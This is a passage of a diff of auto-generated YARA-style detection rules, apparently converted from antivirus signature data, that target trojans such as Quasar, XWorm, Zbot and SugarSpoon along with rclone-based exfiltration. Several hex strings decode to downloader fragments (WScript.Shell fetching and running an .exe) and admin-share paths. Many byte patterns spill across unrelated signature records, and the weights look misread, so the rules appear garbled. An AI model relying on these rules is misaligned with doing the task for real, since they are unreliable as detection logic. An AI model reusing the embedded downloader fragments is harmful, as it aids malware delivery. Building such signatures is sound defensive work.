1)*0+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=9 } -rule _InfrastructureShared_15629{ +rule _InfrastructureShared_16655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -181880,13 +194058,13 @@ rule _InfrastructureShared_15629{ $a_53_4 = {72 74 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 25 81 01 42 69 6f 73 69 6d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 1e 81 01 42 69 6f 73 69 6d 2e 55 49 2e 4d 61 69 6e 57 69 6e 64 6f 77 2e 72 65 73 6f 75 72 63 65 73 01 00 06 81 01 42 69 74 6d 61 70 01 00 08 81 01 47 65 74 50 69 } //24933 $a_00_5 = {00 78 f1 00 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 41 42 52 21 4d 53 52 00 01 00 0d 80 01 6f 76 65 72 6c 6f 76 65 64 2e 65 78 65 01 00 10 80 01 43 61 6c 63 20 53 6f 66 74 77 61 72 65 20 43 2e 01 00 17 80 01 51 48 73 2a 51 48 73 3c 51 48 73 50 51 48 73 62 51 } //25976 $a_51_6 = {73 01 00 1b 80 01 32 48 73 20 32 48 73 32 32 48 73 46 32 48 73 58 32 48 73 6c 32 48 73 7e 32 48 73 01 00 09 80 01 53 69 6d 6f 6e 69 61 6e 38 01 00 0c 80 01 44 45 41 4e 42 52 59 47 47 45 54 42 01 00 09 80 01 73 70 72 61 79 66 6c 61 73 01 00 0d 80 01 4d 65 63 68 61 6e 6f 6d 6f 72 70 68 32 01 00 0d 80 01 66 69 6c 6d 73 65 6c 73 6b 61 62 65 72 01 00 0c 80 } //29512 - $a_6f_7 = {65 64 72 65 6e 67 65 73 00 00 78 f1 00 00 10 00 10 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 51 75 61 73 61 72 2e 41 52 21 4d 54 42 00 0a 00 3b 81 01 75 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 75 72 62 61 6e 2d 76 70 6e 2e 6e 65 74 77 6f 72 6b 2f 72 65 6c } //21249 - $a_65_8 = {55 72 62 61 6e 56 50 4e 32 2e 65 78 65 27 05 00 4f 81 01 43 72 65 61 74 65 4f 62 6a 65 63 74 27 2c 20 27 25 54 45 4d 50 25 27 2c 20 27 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 27 2c 20 27 47 45 54 27 2c 20 27 2f 55 72 62 61 6e 56 50 4e 32 2e 65 78 65 27 2c 20 27 53 61 76 65 54 6f 46 69 6c 65 27 01 00 16 81 01 73 68 65 6c 6c 5b 27 52 75 6e 27 5d } //24933 + $a_6f_7 = {65 64 72 65 6e 67 65 73 00 00 78 f1 00 00 0d 00 0d 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 5a 51 55 21 4d 54 42 00 06 00 67 03 0a 0c 08 20 00 01 00 00 6f 90 01 01 00 00 0a 08 20 80 00 00 00 6f 90 01 01 00 00 0a 08 17 6f 90 01 01 00 00 0a 08 18 6f 90 01 01 00 00 0a 7e 1a 00 00 04 } //21249 + $a_27_8 = {00 73 2c 00 00 0a 0d 08 09 1f 20 6f 90 01 01 00 } //8199 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*21360+(#a_81_2 & 1)*1+(#a_f1_3 & 1)*0+(#a_53_4 & 1)*24933+(#a_00_5 & 1)*25976+(#a_51_6 & 1)*29512+(#a_6f_7 & 1)*21249+(#a_65_8 & 1)*24933) >=9 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*21360+(#a_81_2 & 1)*1+(#a_f1_3 & 1)*0+(#a_53_4 & 1)*24933+(#a_00_5 & 1)*25976+(#a_51_6 & 1)*29512+(#a_6f_7 & 1)*21249+(#a_27_8 & 1)*8199) >=9 } -rule _InfrastructureShared_15630{ +rule _InfrastructureShared_16656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -181896,15 +194074,15 @@ rule _InfrastructureShared_15630{ $a_73_2 = {75 72 63 65 73 01 00 06 81 01 42 69 74 6d 61 70 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 f1 00 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 41 42 52 21 4d 53 52 00 01 00 0d 80 01 6f 76 65 72 6c 6f 76 65 64 2e 65 78 65 01 00 10 80 01 43 } //29230 $a_20_3 = {6f 66 74 77 61 72 65 20 43 2e 01 00 17 80 01 51 48 73 2a 51 48 73 3c 51 48 73 50 51 48 73 62 51 48 73 76 51 48 73 01 00 1b 80 01 32 48 73 20 32 48 73 32 32 48 73 46 32 48 73 58 32 48 73 6c 32 48 73 7e 32 48 73 01 00 09 80 01 53 69 6d 6f 6e 69 61 6e 38 01 00 0c 80 01 44 45 41 4e 42 52 59 47 47 45 } //27745 $a_00_4 = {09 } //16980 - $a_70_5 = {61 79 66 6c 61 73 01 00 0d 80 01 4d 65 63 68 61 6e 6f 6d 6f 72 70 68 32 01 00 0d 80 01 66 69 6c 6d 73 65 6c 73 6b 61 62 65 72 01 00 0c 80 01 53 6b 6f 6c 65 64 72 65 6e 67 65 73 00 00 78 f1 00 00 10 00 10 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 51 75 61 73 61 72 2e 41 52 21 4d 54 42 00 0a 00 } //384 - $a_75_6 = {6c } //-32453 l - $a_27_7 = {74 74 70 73 3a 2f 2f 77 77 77 2e 75 72 62 61 6e 2d 76 70 6e 2e 6e 65 74 77 6f 72 6b 2f 72 65 6c } //15648 ttps://www.urban-vpn.network/rel - $a_65_8 = {55 72 62 61 6e 56 50 4e 32 2e 65 78 65 27 05 00 4f 81 01 43 72 65 61 74 65 4f 62 6a 65 63 74 27 2c 20 27 25 54 45 4d 50 25 27 2c 20 27 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 27 2c 20 27 47 45 54 27 2c 20 27 2f 55 72 62 61 6e 56 50 4e 32 2e 65 78 65 27 2c 20 27 53 61 76 65 54 6f 46 69 6c 65 27 01 00 16 81 01 73 68 65 6c 6c 5b 27 52 75 6e 27 5d } //24933 + $a_70_5 = {61 79 66 6c 61 73 01 00 0d 80 01 4d 65 63 68 61 6e 6f 6d 6f 72 70 68 32 01 00 0d 80 01 66 69 6c 6d 73 65 6c 73 6b 61 62 65 72 01 00 0c 80 01 53 6b 6f 6c 65 64 72 65 6e 67 65 73 00 00 78 f1 00 00 0d 00 0d 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 5a 51 55 21 4d 54 42 00 06 00 67 03 0a 0c 08 20 00 01 00 00 } //384 + $a_01_6 = {00 } //-28561 + $a_20_7 = {00 00 00 6f 90 01 01 00 } //2560 + $a_17_8 = {90 01 01 00 00 0a 08 18 } //2560 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*16897+(#a_73_2 & 1)*29230+(#a_20_3 & 1)*27745+(#a_00_4 & 1)*16980+(#a_70_5 & 1)*384+(#a_75_6 & 1)*-32453+(#a_27_7 & 1)*15648+(#a_65_8 & 1)*24933) >=9 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*16897+(#a_73_2 & 1)*29230+(#a_20_3 & 1)*27745+(#a_00_4 & 1)*16980+(#a_70_5 & 1)*384+(#a_01_6 & 1)*-28561+(#a_20_7 & 1)*2560+(#a_17_8 & 1)*2560) >=9 } -rule _InfrastructureShared_15631{ +rule _InfrastructureShared_16657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -181912,17 +194090,31 @@ rule _InfrastructureShared_15631{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 41 42 52 21 4d 53 52 00 01 00 0d 80 01 6f 76 65 72 6c 6f 76 65 64 2e 65 78 65 01 00 10 80 01 43 61 6c 63 20 53 6f 66 74 77 61 72 65 20 43 2e 01 00 17 80 01 51 48 } //16675 $a_48_1 = {3c 51 48 73 50 51 48 73 62 51 48 73 76 51 48 73 01 00 1b 80 01 32 48 73 20 32 48 73 32 32 48 73 46 32 48 73 58 32 48 73 6c 32 48 73 7e 32 48 73 01 00 09 80 01 53 69 6d 6f 6e 69 61 6e 38 01 00 0c 80 01 44 45 41 4e 42 52 59 47 47 45 54 42 01 00 } //10867 $a_73_2 = {72 } //-32759 r - $a_6c_3 = {73 01 00 0d 80 01 4d 65 63 68 61 6e 6f 6d 6f 72 70 68 32 01 00 0d 80 01 66 69 6c 6d 73 65 6c 73 6b 61 62 65 72 01 00 0c 80 01 53 6b 6f 6c 65 64 72 65 6e 67 65 73 00 00 78 f1 00 00 10 00 10 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 51 75 61 73 61 72 2e 41 } //31073 - $a_54_4 = {00 0a 00 3b 81 01 75 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 75 72 62 61 6e 2d 76 70 6e 2e 6e 65 74 77 6f 72 6b 2f 72 65 6c 65 61 73 65 2f 55 72 62 61 6e 56 50 4e 32 2e 65 78 65 27 05 00 4f 81 01 43 72 65 61 74 65 4f } //8530 - $a_63_5 = {27 2c 20 27 25 54 45 4d 50 25 27 2c 20 27 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 27 2c 20 27 47 45 54 27 2c 20 27 2f 55 72 62 61 6e 56 50 4e 32 2e 65 78 65 27 2c 20 27 53 61 76 65 54 6f 46 69 6c 65 27 01 00 16 81 01 73 68 65 6c 6c 5b 27 52 75 6e 27 5d 28 66 69 6c 65 70 61 74 68 29 05 00 0b 81 01 55 72 } //27234 - $a_56_6 = {4e 2e 6a 73 00 00 78 f1 00 00 14 00 14 00 03 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 0a 00 26 03 ff ff 54 49 54 49 90 02 15 3e 81 bd 90 01 02 ff ff 54 49 54 49 90 02 15 3e 81 bd 90 01 02 ff ff 58 30 58 30 90 00 0a 00 26 03 ff ff 4c 49 4c 49 90 02 25 3e 81 bd 90 01 02 ff ff 57 57 57 57 90 02 } //24930 - $a_bd_7 = {01 02 ff ff 54 59 54 59 90 00 14 00 78 03 ff ff 54 49 54 49 77 35 81 bd 90 01 02 ff ff 54 49 54 49 0f 84 90 01 01 00 00 00 81 bd 90 01 02 ff ff 58 30 58 30 0f 84 90 01 02 00 00 81 bd 90 01 02 ff ff 4c 49 4c 49 0f 84 90 01 02 00 00 e9 90 01 02 00 00 81 bd 90 01 02 ff ff 57 57 57 57 74 15 81 bd 90 01 02 ff ff 54 59 54 59 0f 84 90 01 01 00 00 00 e9 90 01 02 00 00 81 bd 90 01 02 ff ff 57 } //15909 - $a_f1_9 = {00 14 00 14 00 06 00 21 23 4f 46 4e 3a 72 63 6c 6f 6e 65 2e 65 78 65 00 05 00 17 00 72 63 6c 6f 6e 65 20 63 6f 6e 66 69 67 20 72 65 63 6f 6e 6e 65 63 74 0a 00 06 01 52 43 4c 4f 4e 45 05 00 18 80 01 67 69 74 68 75 62 2e 63 6f 6d 2f 72 63 6c 6f 6e 65 2f 72 63 6c 6f 6e 65 05 00 1c 00 67 69 74 68 75 62 2e 63 6f 6d 2f 72 63 6c 6f 6e 65 2f 72 63 6c 6f 6e 65 2f 63 } //0 + $a_6c_3 = {73 01 00 0d 80 01 4d 65 63 68 61 6e 6f 6d 6f 72 70 68 32 01 00 0d 80 01 66 69 6c 6d 73 65 6c 73 6b 61 62 65 72 01 00 0c 80 01 53 6b 6f 6c 65 64 72 65 6e 67 65 73 00 00 78 f1 00 00 0d 00 0d 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 5a 51 55 21 4d 54 42 00 06 00 67 03 } //31073 + $a_20_4 = {01 00 00 6f 90 01 01 00 } //3082 + $a_20_5 = {00 00 00 6f 90 01 01 00 } //2560 + $a_17_6 = {90 01 01 00 00 0a 08 18 } //2560 + $a_01_7 = {00 } //-28561 + $a_1a_8 = {00 04 07 20 10 27 00 00 73 2c 00 00 0a 0d 08 09 1f 20 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 08 09 1f 10 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a de 0a 90 00 05 00 33 03 11 04 08 6f 90 01 01 00 00 0a 16 73 16 00 00 0a 13 05 73 30 00 00 0a 13 06 11 05 11 06 6f 90 01 01 00 00 0a 11 06 6f 90 01 01 00 00 0a 13 07 de 34 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 } //2560 + $a_01_9 = {00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 f1 00 00 10 00 10 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 51 75 61 73 61 72 2e 41 52 21 4d 54 42 00 0a 00 3b 81 01 75 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 75 72 62 61 6e 2d 76 } //28265 condition: - ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*10867+(#a_73_2 & 1)*-32759+(#a_6c_3 & 1)*31073+(#a_54_4 & 1)*8530+(#a_63_5 & 1)*27234+(#a_56_6 & 1)*24930+(#a_bd_7 & 1)*15909+(#a_f1_9 & 1)*0) >=10 + ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*10867+(#a_73_2 & 1)*-32759+(#a_6c_3 & 1)*31073+(#a_20_4 & 1)*3082+(#a_20_5 & 1)*2560+(#a_17_6 & 1)*2560+(#a_01_7 & 1)*-28561+(#a_1a_8 & 1)*2560+(#a_01_9 & 1)*28265) >=10 } -rule _InfrastructureShared_15632{ +rule _InfrastructureShared_16658{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 5a 51 55 21 4d 54 42 00 06 00 67 03 0a 0c 08 20 00 01 00 00 6f 90 01 01 00 00 0a 08 20 80 00 00 00 6f 90 01 01 00 00 0a 08 17 6f 90 01 01 00 00 0a 08 18 } //21539 + $a_01_1 = {00 } //-28561 + $a_1a_2 = {00 04 07 20 10 27 00 00 73 2c 00 00 0a 0d 08 09 1f 20 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 08 09 1f 10 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a de 0a 90 00 05 00 33 03 11 04 08 6f 90 01 01 00 00 0a 16 73 16 00 00 0a 13 05 73 30 00 00 0a 13 06 11 05 11 06 6f 90 01 01 00 00 0a 11 06 6f 90 01 01 00 00 0a 13 07 de 34 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 } //2560 + $a_01_3 = {00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 f1 00 00 10 00 10 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 51 75 61 73 61 72 2e 41 52 21 4d 54 42 00 0a 00 3b 81 01 75 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 75 72 62 61 6e 2d 76 } //28265 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28561+(#a_1a_2 & 1)*2560+(#a_01_3 & 1)*28265) >=13 + +} +rule _InfrastructureShared_16659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -181935,7 +194127,7 @@ rule _InfrastructureShared_15632{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*12139+(#a_6e_2 & 1)*21031+(#a_81_3 & 1)*9474) >=16 } -rule _InfrastructureShared_15633{ +rule _InfrastructureShared_16660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 03 00 21 " @@ -181946,22 +194138,33 @@ rule _InfrastructureShared_15633{ ((#a_77_0 & 1)*16675+(#a_ff_2 & 1)*888) >=20 } -rule _InfrastructureShared_15634{ +rule _InfrastructureShared_16661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " strings : $a_4e_0 = {72 63 6c 6f 6e 65 2e 65 78 65 00 05 00 17 00 72 63 6c 6f 6e 65 20 63 6f 6e 66 69 67 20 72 65 63 6f 6e 6e 65 63 74 0a 00 06 01 52 43 4c 4f 4e 45 05 00 18 80 01 67 69 74 68 75 62 2e 63 6f 6d 2f 72 63 6c 6f 6e 65 } //20259 $a_6c_1 = {6e 65 05 00 1c 00 67 69 74 68 75 62 2e 63 6f 6d 2f 72 63 6c 6f 6e 65 2f 72 63 6c 6f 6e 65 2f 63 6d 64 05 00 1c 00 67 69 74 68 75 62 2e 63 6f 6d 2f 72 63 6c 6f 6e 65 2f 72 63 6c 6f 6e 65 2f 76 66 73 0a 00 51 80 01 61 6d 73 2e 65 75 2e 63 6c 6f 75 64 2d 6f 62 6a 65 63 74 2d 73 74 6f 72 61 67 65 2e } //29231 - $a_64_2 = {6d 61 69 6e 2e 63 6c 6f 75 64 73 33 2e 70 72 69 76 61 74 65 2e 61 75 2d 73 79 64 2e 63 6c 6f 75 64 2d 6f 62 6a 65 63 74 2d 73 74 6f 72 61 67 65 00 00 78 f1 00 00 28 00 28 00 06 00 21 23 4f 46 4e 3a 72 63 6c 6f 6e 65 2e 65 78 65 00 0a 00 17 00 72 63 6c 6f 6e 65 20 63 6f 6e 66 69 67 20 72 65 63 6f 6e 6e 65 63 74 14 00 06 01 52 43 4c 4f } //28769 - $a_00_3 = {18 80 01 67 69 74 68 75 62 2e } //17742 - $a_2f_4 = {63 6c 6f 6e 65 2f 72 63 6c 6f 6e 65 0a 00 1c 00 67 69 74 68 75 62 2e 63 6f 6d 2f 72 63 6c 6f 6e 65 2f 72 63 6c 6f 6e 65 2f 63 6d 64 0a 00 1c 00 67 69 74 68 75 62 2e 63 6f 6d 2f 72 63 6c 6f 6e 65 2f 72 63 6c 6f 6e 65 2f 76 66 73 14 00 51 80 01 61 6d 73 2e 65 75 2e 63 6c 6f 75 64 2d 6f 62 6a 65 63 74 2d 73 74 6f 72 61 67 65 2e } //28515 - $a_64_5 = {6d 61 69 6e 2e 63 6c 6f 75 64 73 33 2e 70 72 69 76 61 74 65 2e 61 75 2d 73 79 64 2e 63 6c 6f 75 64 2d 6f 62 6a 65 63 74 2d 73 74 6f 72 61 67 65 00 00 78 f2 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 68 61 72 70 44 6f 6f 72 2e 41 00 01 00 88 01 41 00 6c 00 6c 00 6f 00 77 00 20 00 4d 00 75 00 } //28769 + $a_64_2 = {6d 61 69 6e 2e 63 6c 6f 75 64 73 33 2e 70 72 69 76 61 74 65 2e 61 75 2d 73 79 64 2e 63 6c 6f 75 64 2d 6f 62 6a 65 63 74 2d 73 74 6f 72 61 67 65 00 00 78 f1 00 00 26 00 26 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 4c 4d 21 4d 54 42 00 14 00 2d 01 33 d2 8a d4 89 15 78 76 bd 00 8b c8 81 e1 ff 00 00 } //28769 + $a_74_3 = {bd 00 c1 e1 08 03 ca 89 0d 70 76 bd 00 } //-30464 + $a_a3_4 = {76 bd 00 6a 01 0a 00 28 01 5c 00 41 00 64 00 6d } //-5951 condition: - ((#a_4e_0 & 1)*20259+(#a_6c_1 & 1)*29231+(#a_64_2 & 1)*28769+(#a_00_3 & 1)*17742+(#a_2f_4 & 1)*28515+(#a_64_5 & 1)*28769) >=20 + ((#a_4e_0 & 1)*20259+(#a_6c_1 & 1)*29231+(#a_64_2 & 1)*28769+(#a_74_3 & 1)*-30464+(#a_a3_4 & 1)*-5951) >=20 } -rule _InfrastructureShared_15635{ +rule _InfrastructureShared_16662{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,26 00 26 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 4c 4d 21 4d 54 42 00 14 00 2d 01 33 d2 8a d4 89 15 78 76 bd 00 8b c8 81 e1 ff 00 00 00 89 0d 74 76 bd 00 c1 e1 08 03 ca 89 0d 70 76 bd 00 c1 e8 10 a3 6c } //21539 + $a_01_2 = {5c 00 41 00 64 00 6d 00 69 00 6e 00 24 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 74 00 6d 00 70 00 } //10 \Admin$\System32\tmp + $a_03_3 = {53 56 57 33 f6 68 3f 00 0f 00 56 56 ff 15 68 a0 bc 00 8b f8 85 ff 74 ?? 8b 44 24 10 56 56 68 20 37 bd 00 56 56 50 8b 44 24 2c 6a 01 6a 03 68 10 01 00 00 68 ff 01 0f 00 50 50 57 ff 15 70 a0 bc 00 8b 1d 04 a0 bc 00 8b f0 85 f6 } //4 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_2 & 1)*10+(#a_03_3 & 1)*4) >=38 + +} +rule _InfrastructureShared_16663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 06 00 21 " @@ -181971,12 +194174,12 @@ rule _InfrastructureShared_15635{ $a_64_2 = {6d 61 69 6e 2e 63 6c 6f 75 64 73 33 2e 70 72 69 76 61 74 65 2e 61 75 2d 73 79 64 2e 63 6c 6f 75 64 2d 6f 62 6a 65 63 74 2d 73 74 6f 72 61 67 65 00 00 78 f2 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 68 61 72 70 44 6f 6f 72 2e 41 00 01 00 88 01 41 00 6c 00 6c 00 6f 00 77 00 20 00 4d 00 75 00 } //28769 $a_00_3 = {69 00 70 00 6c 00 65 00 20 00 52 00 44 00 50 00 20 00 28 00 52 00 65 00 6d 00 6f 00 74 00 65 00 20 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 29 00 20 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 73 00 20 00 42 00 79 00 20 00 50 00 61 00 74 00 63 00 68 00 69 00 6e 00 67 00 20 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 } //108 iple RDP (Remote Desktop) Sessions By Patching termsrv.dll $a_01_4 = {55 00 6e 00 68 00 61 00 6e 00 64 00 6c 00 65 00 64 00 20 00 53 00 68 00 61 00 72 00 70 00 44 00 6f 00 6f 00 72 00 20 00 65 00 78 00 63 00 65 00 70 00 74 00 69 00 6f 00 6e 00 } //1 Unhandled SharpDoor exception - $a_f2_5 = {00 01 00 01 00 06 00 21 23 48 53 54 52 3a 4f 62 66 75 73 63 61 74 6f 72 2e 53 70 6c 69 74 2e 41 50 49 4e 61 6d 65 2e 43 00 01 00 19 03 52 65 61 64 46 90 04 01 0c 41 2d 48 4a 2d 5a 61 2d 68 6a 2d 7a 6c 65 90 00 01 00 19 03 52 65 61 64 46 69 90 04 01 0c 41 2d 4b 4d 2d 5a 61 2d 6b 6d 2d 7a 65 90 00 01 00 20 03 47 65 74 4d 6f 90 04 01 0c 41 2d 43 45 2d 5a 61 2d } //0 + $a_f2_5 = {00 01 00 01 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 4a 21 64 68 61 00 01 00 13 80 01 57 6f 6f 64 73 74 6f 63 6b 2e 43 6f 6d 6d 61 6e 64 73 2b 01 00 19 80 01 57 6f 6f 64 73 74 6f 63 6b 2e 45 78 70 6c 6f 69 74 53 65 72 76 69 63 65 2b 01 00 23 80 01 57 6f 6f 64 73 74 6f 63 6b 2e 52 65 6c 61 79 53 65 72 } //0 condition: ((#a_4e_0 & 1)*20259+(#a_6c_1 & 1)*29231+(#a_64_2 & 1)*28769+(#a_00_3 & 1)*108+(#a_01_4 & 1)*1+(#a_f2_5 & 1)*0) >=40 } -rule _InfrastructureShared_15636{ +rule _InfrastructureShared_16664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -181987,7 +194190,21 @@ rule _InfrastructureShared_15636{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111) >=1 } -rule _InfrastructureShared_15637{ +rule _InfrastructureShared_16665{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 4a 21 64 68 61 00 01 00 13 80 01 57 6f 6f 64 73 74 6f 63 6b 2e 43 6f 6d 6d 61 6e 64 73 2b 01 00 19 80 01 57 6f 6f 64 73 74 6f 63 6b 2e 45 78 70 6c 6f 69 74 } //16675 + $a_76_1 = {63 65 2b 01 00 23 80 01 57 6f 6f 64 73 74 6f 63 6b 2e 52 65 6c 61 79 53 65 72 76 65 72 2e 52 65 6c 61 79 53 65 72 76 69 63 65 2b 01 00 19 80 01 57 6f 6f 64 73 74 6f 63 6b 2e 43 6f 6d 6d 61 6e 64 53 65 72 76 69 63 65 2b 01 00 20 80 01 56 57 6f 6f 64 73 74 6f 63 6b 2e 47 72 70 63 57 6f 6f 64 73 74 6f 63 6b 52 65 71 75 65 73 74 2b 01 00 20 80 } //25939 + $a_6f_2 = {64 73 74 6f 63 6b 2e 48 74 74 70 57 6f 6f 64 73 74 6f 63 6b 52 65 71 75 65 73 74 2b 00 00 78 f2 00 00 01 00 01 00 06 00 21 23 48 53 54 52 3a 4f 62 66 75 73 63 61 74 6f 72 2e 53 70 6c 69 74 2e 41 50 49 4e 61 6d 65 2e 43 00 01 00 19 03 52 65 61 64 46 90 04 01 0c } //22017 + $a_4a_3 = {5a 61 2d 68 6a 2d 7a 6c 65 90 00 01 00 19 03 52 65 61 64 46 69 90 04 01 0c 41 2d 4b 4d 2d 5a 61 2d 6b 6d 2d 7a 65 90 00 01 00 20 03 47 65 74 4d 6f 90 04 01 0c 41 2d 43 45 2d 5a 61 2d 63 65 2d 7a 75 6c 65 48 61 6e 64 } //11585 + $a_00_4 = {01 00 20 03 47 65 74 4d 6f 64 90 04 01 0c 41 2d 54 56 2d 5a 61 2d 74 76 2d 7a 6c 65 48 61 6e 64 6c 65 90 00 01 00 1f 03 47 65 74 50 72 6f 63 41 64 64 90 04 01 0c 41 2d 51 53 2d 5a 61 2d 71 73 2d 7a 65 73 73 90 00 01 00 1f 03 47 65 74 50 72 6f 63 41 64 64 72 90 04 01 0c 41 2d 44 46 2d 5a 61 2d 64 66 2d 7a 73 73 90 00 00 00 78 f2 00 00 01 00 01 00 08 00 21 23 48 53 54 52 3a 52 6f 67 75 65 3a 57 69 6e 33 32 2f 46 61 6b 65 58 50 41 } //25964 + condition: + ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*25939+(#a_6f_2 & 1)*22017+(#a_4a_3 & 1)*11585+(#a_00_4 & 1)*25964) >=1 + +} +rule _InfrastructureShared_16666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -182001,7 +194218,7 @@ rule _InfrastructureShared_15637{ ((#a_54_0 & 1)*18467+(#a_47_2 & 1)*8192+(#a_0c_3 & 1)*1168+(#a_2d_4 & 1)*17197+(#a_2d_5 & 1)*3073) >=1 } -rule _InfrastructureShared_15638{ +rule _InfrastructureShared_16667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -182018,7 +194235,7 @@ rule _InfrastructureShared_15638{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*656+(#a_00_2 & 1)*144+(#a_15_3 & 1)*25603+(#a_69_4 & 1)*14930+(#a_ff_5 & 1)*-4989+(#a_ff_6 & 1)*-132+(#a_64_7 & 1)*28261) >=1 } -rule _InfrastructureShared_15639{ +rule _InfrastructureShared_16668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -182029,7 +194246,7 @@ rule _InfrastructureShared_15639{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*0) >=2 } -rule _InfrastructureShared_15640{ +rule _InfrastructureShared_16669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -182041,7 +194258,7 